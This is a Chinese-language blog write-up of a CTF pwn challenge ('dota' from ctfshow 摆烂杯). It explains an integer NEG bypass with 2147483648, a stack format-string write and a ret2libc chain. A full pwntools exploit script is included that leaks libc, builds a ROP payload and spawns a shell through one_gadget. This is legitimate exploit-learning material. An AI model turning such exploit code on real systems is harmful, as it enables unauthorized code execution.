ctfshow 摆烂杯 pwn

  半年没做过pwn题了,试着用这个比赛的题来捡一捡知识点。

dota

  main函数中需要绕过两个判断才能进入存在漏洞的函数。

ctfshow 摆烂杯 pwn  第一个判断很简单,输入“dota”就行了。

ctfshow 摆烂杯 pwn

  第二个判断,需要先让v5小于0,在经过v5=-v5之后,继续让v5小于0,看看汇编是怎么样的。

ctfshow 摆烂杯 pwn

NEG是汇编指令中的求补指令,对操作数执行求补运算:用零减去操作数,然后结果返回操作数。求补运算也可以表达成:将操作数按位取反后加1。

  eax可以容纳4个字节,1个字节由8个二进制位构成。

ctfshow 摆烂杯 pwn

  对于2147483648,可以看到符号位是1,绕过了第一层检测,在执行完neg指令完之后会发现,他的补码还是自己的本身,这样就绕过了第二层检测,就可以进入漏洞函数了。

ctfshow 摆烂杯 pwn

  这个函数就比较简单了,有一个栈上的格式化字符串漏洞,利用这个漏洞修改v1的值让它等于25,然后就可以执行read函数进行溢出了,之后就是常规的ret2libc3了。

# Author:bhxdn www.cnblogs.com/bhxdn/
# Date:2022/1/5
from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context(os='linux',arch='amd64',log_level='debug')

def duan():
    gdb.attach(p)
    pause()

p.recvuntil('-\n')
p.recvuntil('-\n')
payload = 'dota'
p.sendline(payload)

p.recv()
p.sendline('2147483648')
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
print hex(stack_addr)

payload = fmtstr_payload(8,{stack_addr:25})
p.sendline(payload)
p.recv()
p.recvuntil('\n')

pop_rdi = 0x04009b3
puts = elf.plt['puts']
puts_got = elf.got['puts']
return_addr = 0x0400737
payload = 'a'*0x80+'bbbbbbbb'+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(return_addr)
p.send(payload)
#leak libc
libc_addr = int(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
print 'libc_addr-->'+hex(libc_addr)
libc_base = libc_addr-libc.symbols['puts']
print 'libc_base-->'+hex(libc_base)
og = [0x4f365,0x4f3c2,0x10a45c]
shell = libc_base+og[2]

p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
print hex(stack_addr)
payload = fmtstr_payload(8,{stack_addr:25})
p.sendline(payload)
p.recv()
p.recvuntil('\n')
payload = 'a'*0x80+'bbbbbbbb'+p64(shell)
p.send(payload)
p.interactive()

CET4

CET6

 

 

未完...

 

上一篇:2021 东华杯 pwn boom_script


下一篇:2022/1/29周末培训小结(hgame)